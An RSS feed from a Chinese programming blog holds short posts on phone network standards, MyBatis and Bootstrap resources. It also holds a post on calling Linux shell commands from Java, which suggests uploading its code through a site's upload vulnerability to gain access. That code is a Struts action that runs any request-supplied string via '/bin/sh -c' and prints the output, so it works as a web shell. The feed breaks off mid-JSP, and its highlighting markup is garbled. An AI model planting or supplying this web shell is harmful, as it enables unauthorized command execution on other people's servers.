﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-浅谈编程</title><link>http://www.cppblog.com/realzbc/</link><description /><language>zh-cn</language><lastBuildDate>Mon, 13 Apr 2026 15:04:07 GMT</lastBuildDate><pubDate>Mon, 13 Apr 2026 15:04:07 GMT</pubDate><ttl>60</ttl><item><title>手机网络制式常识</title><link>http://www.cppblog.com/realzbc/archive/2013/05/17/200358.html</link><dc:creator>R&amp;P</dc:creator><author>R&amp;P</author><pubDate>Fri, 17 May 2013 09:06:00 GMT</pubDate><guid>http://www.cppblog.com/realzbc/archive/2013/05/17/200358.html</guid><wfw:comment>http://www.cppblog.com/realzbc/comments/200358.html</wfw:comment><comments>http://www.cppblog.com/realzbc/archive/2013/05/17/200358.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/realzbc/comments/commentRss/200358.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/realzbc/services/trackbacks/200358.html</trackback:ping><description><![CDATA[<strong style="margin: 0px; padding: 0px; color: #ff0000; font-family: Arial, Verdana, 宋体; font-size: 12px; line-height: 18px; background-color: #ffffff;"><table width="750" align="center" border="0" cellpadding="0" cellspacing="0" style="empty-cells: show;"><tbody><tr><td align="left"><div style="margin: 0px; padding: 2px 10px; line-height: 1.5em; font-family: Arial, Helvetica, sans-serif; font-size: 14px; font-weight: bold;"><span style="margin: 0px; padding: 0px; font-size: 16px;">手机网络制式常识:</span></div></td></tr><tr><td><div style="margin: 0px; padding: 2px 10px 10px; line-height: 1.5em; font-family: Arial, Helvetica, sans-serif; font-size: 12px;">手机名称有GSM：表示只支持中国联通或者中国移动2G号段（130、131、132、134、135、136、137、138、139、145、147、150、151、152、155、156、157、158、159、182、183、185、186、187、188）<br />手机名称有CDMA：表示只支持中国电信2G号段（133、153、180、181、189）<br />手机名称有WCDMA/GSM：表示支持中国联通或者中国移动2G号段，以及中国联通3G号段（130、131、132、134、135、136、137、138、139、145、147、150、151、152、155、156、157、158、159、182、183、185、186、187、188），不支持移动3G业务，不支持电信卡。<br />手机名称有TD-SCDMA/GSM：表示支持中国联通或者中国移动2G号段，以及中国移动3G号段(130、131、132、134、135、136、137、138、139、145、147、150、151、152、155、156、157、158、159、182、183、185、186、187、188），不支持联通3G业务，不支持电信卡。<br />手机名称有CDMA2000/CDMA：表示支持中国电信2G号段，以及中国电信3G号段（133、153、180、181、189），不支持移动联通卡<br />手机名称有CDMA2000/GSM（双模双待）：表示一张卡支持中国电信2G号段，以及中国电信3G号段（133、153、180、181、189），另一张卡支持中国移动或中国联通2G号段的语音和短信功能。</div></td></tr></tbody></table></strong><img src ="http://www.cppblog.com/realzbc/aggbug/200358.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/realzbc/" target="_blank">R&P</a> 2013-05-17 17:06 <a href="http://www.cppblog.com/realzbc/archive/2013/05/17/200358.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Mybatis 备忘录</title><link>http://www.cppblog.com/realzbc/archive/2013/04/19/199574.html</link><dc:creator>R&amp;P</dc:creator><author>R&amp;P</author><pubDate>Fri, 19 Apr 2013 14:44:00 GMT</pubDate><guid>http://www.cppblog.com/realzbc/archive/2013/04/19/199574.html</guid><wfw:comment>http://www.cppblog.com/realzbc/comments/199574.html</wfw:comment><comments>http://www.cppblog.com/realzbc/archive/2013/04/19/199574.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/realzbc/comments/commentRss/199574.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/realzbc/services/trackbacks/199574.html</trackback:ping><description><![CDATA[<a href="https://code.google.com/p/mybatis/">https://code.google.com/p/mybatis/</a><img src ="http://www.cppblog.com/realzbc/aggbug/199574.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/realzbc/" target="_blank">R&P</a> 2013-04-19 22:44 <a href="http://www.cppblog.com/realzbc/archive/2013/04/19/199574.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Bootstrap相关开源项目推荐</title><link>http://www.cppblog.com/realzbc/archive/2013/04/18/199534.html</link><dc:creator>R&amp;P</dc:creator><author>R&amp;P</author><pubDate>Thu, 18 Apr 2013 01:34:00 GMT</pubDate><guid>http://www.cppblog.com/realzbc/archive/2013/04/18/199534.html</guid><wfw:comment>http://www.cppblog.com/realzbc/comments/199534.html</wfw:comment><comments>http://www.cppblog.com/realzbc/archive/2013/04/18/199534.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/realzbc/comments/commentRss/199534.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/realzbc/services/trackbacks/199534.html</trackback:ping><description><![CDATA[<div>&lt;1&gt;PreBoot</div><div>&lt;2&gt;jQuery.Pin</div><div>&lt;3&gt;Responsive Nav</div><div>&lt;4&gt;Bsie</div><div>&lt;5&gt;Messenger</div><div>&lt;6&gt;DateTime Picker</div><div>&lt;7&gt;jQuery UI Bootstrap</div><div>&lt;8&gt;Google Bootstrap</div><div>&lt;9&gt;Flat UI</div><div>&lt;10&gt;Metro UI CSS</div><div>&lt;11&gt;Font Awesome</div><div>&lt;12&gt;Simple Icons</div><div>&lt;13&gt;Bootstrap From Builder</div><div>&lt;14&gt;HTML5 Boilerplate</div><div>&lt;13&gt;Bootstrap From Builder</div><div>&lt;14&gt;HTML5 Boilerplate</div><div>&lt;15&gt;W3CPLUS</div><div>&lt;16&gt;Web Safe colors</div><div>&lt;13&gt;Bootstrap From Builder</div><div>&lt;14&gt;HTML5 Boilerplate</div><div>&lt;17&gt;Bootstrap v3.0版预览</div><div>&lt;18&gt;优秀网页设计联盟</div><img src ="http://www.cppblog.com/realzbc/aggbug/199534.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/realzbc/" target="_blank">R&P</a> 2013-04-18 09:34 <a href="http://www.cppblog.com/realzbc/archive/2013/04/18/199534.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何用java调用linux shell命令？</title><link>http://www.cppblog.com/realzbc/archive/2013/04/12/199367.html</link><dc:creator>R&amp;P</dc:creator><author>R&amp;P</author><pubDate>Fri, 12 Apr 2013 02:13:00 GMT</pubDate><guid>http://www.cppblog.com/realzbc/archive/2013/04/12/199367.html</guid><wfw:comment>http://www.cppblog.com/realzbc/comments/199367.html</wfw:comment><comments>http://www.cppblog.com/realzbc/archive/2013/04/12/199367.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/realzbc/comments/commentRss/199367.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/realzbc/services/trackbacks/199367.html</trackback:ping><description><![CDATA[<p>如何在远程调用shell命令操作linux呢？如果你是有远程连接权限的话，那么可以使用putty来连接的，putty是基于ssh协议来连接 的，ssh的默认端口是22，但是一般即使一个服务器开启了ssh，那么也不可能是22端口，肯定是改动端口号的。但是如果你没有远程连接的权限呢？或者 是服务器根本就没有开启ssh呢？怎么办？</p><p> &nbsp; &nbsp;一种方式是，如果你是在这个服务器上有自己的项目，那么好了，你就基本上拿到了权限了，如果你没有在这个服务器上有项目，那么可以检测一个网站是否有上传漏洞，如果有的话，可以将以下的代码上传上去，也同样可以拿到权限。<br /></p><div><div id="highlighter_198220"  java"=""><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div><div number1="" index0=""  alt2"=""><code keyword"="">package</code> <code plain"="">action.fg;</code></div><div number2="" index1=""  alt1"=""><code spaces"="">&nbsp;</code>&nbsp;</div><div number3="" index2=""  alt2"=""><code keyword"="">import</code> <code plain"="">java.io.BufferedReader;</code></div><div number4="" index3=""  alt1"=""><code keyword"="">import</code> <code plain"="">java.io.InputStreamReader;</code></div><div number5="" index4=""  alt2"=""><code keyword"="">import</code> <code plain"="">java.io.PrintWriter;</code></div><div number6="" index5=""  alt1"=""><code spaces"="">&nbsp;</code>&nbsp;</div><div number7="" index6=""  alt2"=""><code keyword"="">import</code> <code plain"="">javax.servlet.http.HttpServletRequest;</code></div><div number8="" index7=""  alt1"=""><code keyword"="">import</code> <code plain"="">javax.servlet.http.HttpServletResponse;</code></div><div number9="" index8=""  alt2"=""><code spaces"="">&nbsp;</code>&nbsp;</div><div number10="" index9=""  alt1"=""><code keyword"="">import</code> <code plain"="">org.apache.commons.logging.Log;</code></div><div number11="" index10=""  alt2"=""><code keyword"="">import</code> <code plain"="">org.apache.commons.logging.LogFactory;</code></div><div number12="" index11=""  alt1"=""><code keyword"="">import</code> <code plain"="">org.apache.struts.action.ActionForm;</code></div><div number13="" index12=""  alt2"=""><code keyword"="">import</code> <code plain"="">org.apache.struts.action.ActionForward;</code></div><div number14="" index13=""  alt1"=""><code keyword"="">import</code> <code plain"="">org.apache.struts.action.ActionMapping;</code></div><div number15="" index14=""  alt2"=""><code keyword"="">import</code> <code plain"="">org.apache.struts.action.DynaActionForm;</code></div><div number16="" index15=""  alt1"=""><code keyword"="">import</code> <code plain"="">org.apache.struts.actions.DispatchAction;</code></div><div number17="" index16=""  alt2"=""><code spaces"="">&nbsp;</code>&nbsp;</div><div number18="" index17=""  alt1"=""><code spaces"="">&nbsp;</code>&nbsp;</div><div number19="" index18=""  alt2"=""><code keyword"="">public</code> <code keyword"="">class</code> <code plain"="">LinuxAction </code><code keyword"="">extends</code> <code plain"="">DispatchAction{</code></div><div number20="" index19=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number21="" index20=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">private</code> <code keyword"="">final</code>&nbsp; <code plain"="">Log logger = LogFactory.getLog(</code><code keyword"="">this</code><code plain"="">.getClass());</code></div><div number22="" index21=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">public</code> <code plain"="">ActionForward ls_List(ActionMapping mapping, ActionForm form,</code></div><div number23="" index22=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">HttpServletRequest req, HttpServletResponse res) </code><code keyword"="">throws</code> <code plain"="">Exception {</code></div><div number24="" index23=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">PrintWriter out = res.getWriter();</code></div><div number25="" index24=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">try</code><code plain"="">{</code></div><div number26="" index25=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">DynaActionForm letterForm = (DynaActionForm) form;</code></div><div number27="" index26=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">String str=letterForm.getString(</code><code string"="">"str"</code><code plain"="">);</code></div><div number28="" index27=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">String listStr=callShell_ls(str);</code></div><div number29="" index28=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">out.print(listStr);</code></div><div number30="" index29=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code><code keyword"="">catch</code><code plain"="">(Exception e){</code></div><div number31="" index30=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">e.printStackTrace();</code></div><div number32="" index31=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">logger.info(</code><code string"="">"ls_List error:"</code><code plain"="">+e.getMessage());</code></div><div number33="" index32=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number34="" index33=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">return</code> <code keyword"="">null</code><code plain"="">;</code></div><div number35="" index34=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number36="" index35=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number37="" index36=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number38="" index37=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number39="" index38=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">public</code>&nbsp; <code plain"="">String callShell_ls(String lsStr){</code></div><div number40="" index39=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">StringBuffer sb = </code><code keyword"="">new</code> <code plain"="">StringBuffer();</code></div><div number41="" index40=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">try</code> <code plain"="">{</code></div><div number42="" index41=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">String[] cmd = </code><code keyword"="">new</code> <code plain"="">String[]{</code><code string"="">"/bin/sh"</code><code plain"="">, </code><code string"="">"-c"</code><code plain"="">, lsStr};</code></div><div number43="" index42=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">logger.info(</code><code string"="">"执行ING。。。。。"</code><code plain"="">+cmd.toString());</code></div><div number44="" index43=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">Process ps = Runtime.getRuntime().exec(cmd);</code></div><div number45="" index44=""  alt2"=""><code spaces"="">&nbsp;</code>&nbsp;</div><div number46="" index45=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">BufferedReader br = </code><code keyword"="">new</code> <code plain"="">BufferedReader(</code><code keyword"="">new</code> <code plain"="">InputStreamReader(ps.getInputStream()));</code></div><div number47="" index46=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number48="" index47=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">String line;</code></div><div number49="" index48=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">while</code> <code plain"="">((line = br.readLine()) != </code><code keyword"="">null</code><code plain"="">) {</code></div><div number50="" index49=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">sb.append(line).append(</code><code string"="">"&lt;br/&gt;"</code><code plain"="">);</code></div><div number51="" index50=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number52="" index51=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">logger.info(</code><code string"="">"执行完成，字符串为："</code><code plain"="">+sb.toString());</code></div><div number53="" index52=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">} </code><code keyword"="">catch</code> <code plain"="">(Exception e) {</code></div><div number54="" index53=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">e.printStackTrace();</code></div><div number55="" index54=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">logger.info(</code><code string"="">"callShell_ls error:"</code><code plain"="">+e.getMessage());</code></div><div number56="" index55=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number57="" index56=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">return</code> <code plain"="">sb.toString();</code></div><div number58="" index57=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number59="" index58=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number60="" index59=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number61="" index60=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number62="" index61=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number63="" index62=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number64="" index63=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">public</code> <code plain"="">ActionForward start(ActionMapping mapping, ActionForm form,</code></div><div number65="" index64=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">HttpServletRequest req, HttpServletResponse res) </code><code keyword"="">throws</code> <code plain"="">Exception {</code></div><div number66="" index65=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">PrintWriter out = res.getWriter();</code></div><div number67="" index66=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">try</code><code plain"="">{</code></div><div number68="" index67=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">DynaActionForm letterForm = (DynaActionForm) form;</code></div><div number69="" index68=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">callShell_ls(</code><code string"="">"./start.sh"</code><code plain"="">);</code></div><div number70="" index69=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">String listStr=callShell_ls(</code><code string"="">"tail -f ./logs/catalina.out"</code><code plain"="">);</code></div><div number71="" index70=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">out.print(listStr);</code></div><div number72="" index71=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code><code keyword"="">catch</code><code plain"="">(Exception e){</code></div><div number73="" index72=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">e.printStackTrace();</code></div><div number74="" index73=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">logger.info(</code><code string"="">"start error:"</code><code plain"="">+e.getMessage());</code></div><div number75="" index74=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number76="" index75=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">return</code> <code keyword"="">null</code><code plain"="">;</code></div><div number77="" index76=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number78="" index77=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">public</code> <code plain"="">ActionForward stop(ActionMapping mapping, ActionForm form,</code></div><div number79="" index78=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">HttpServletRequest req, HttpServletResponse res) </code><code keyword"="">throws</code> <code plain"="">Exception {</code></div><div number80="" index79=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">PrintWriter out = res.getWriter();</code></div><div number81="" index80=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">try</code><code plain"="">{</code></div><div number82="" index81=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">DynaActionForm letterForm = (DynaActionForm) form;</code></div><div number83="" index82=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">callShell_ls(</code><code string"="">"./stop.sh"</code><code plain"="">);</code></div><div number84="" index83=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">String listStr=callShell_ls(</code><code string"="">"tail -f ./logs/catalina.out"</code><code plain"="">);</code></div><div number85="" index84=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">out.print(listStr);</code></div><div number86="" index85=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code><code keyword"="">catch</code><code plain"="">(Exception e){</code></div><div number87="" index86=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">e.printStackTrace();</code></div><div number88="" index87=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">logger.info(</code><code string"="">"stop error:"</code><code plain"="">+e.getMessage());</code></div><div number89="" index88=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number90="" index89=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code keyword"="">return</code> <code keyword"="">null</code><code plain"="">;</code></div><div number91="" index90=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">}</code></div><div number92="" index91=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number93="" index92=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number94="" index93=""  alt1"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number95="" index94=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</div><div number96="" index95=""  alt1"=""><code plain"="">}</code></div></div></td></tr></tbody></table><div>解下来就写一个页面来使用了。<br />&lt;%@ page language="java" contentType="text/html; charset=UTF-8"<code spaces"="">&nbsp;&nbsp;</code><code plain"="">pageEncoding="UTF-8"%&gt;</code></div><div><div number3="" index2=""  alt2"=""><code spaces"="">&nbsp;&nbsp;&nbsp;&nbsp;</code><code plain"="">&lt;%@taglib uri="<a href="http://java.sun.com/jsp/jstl/core">http://java.sun.com/jsp/jstl/core</a>" prefix="c"%&gt;</code></div><div number4="" index3=""  alt1"=""><code plain"="">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "<a href="http://www.w3.org/TR/html4/loose.dtd">http://www.w3.org/TR/html4/loose.dtd</a>"&gt;</code></div><div number5="" index4=""  alt2"=""><code plain"="">&lt;</code><code keyword"="">html</code><code plain"="">&gt;</code></div><div number6="" index5=""  alt1"=""><code plain"="">&lt;</code><code keyword"="">head</code><code plain"="">&gt;</code></div><div number7="" index6=""  alt2"=""><code plain"="">&lt;</code><code keyword"="">meta</code> <code color1"="">http-equiv</code><code plain"="">=</code><code string"="">"Content-Type"</code> <code color1"="">content</code><code plain"="">=</code><code string"="">"text/html; charset=UTF-8"</code><code plain"="">&gt;</code></div><div number8="" index7=""  alt1"=""><code plain"="">&lt;</code><code 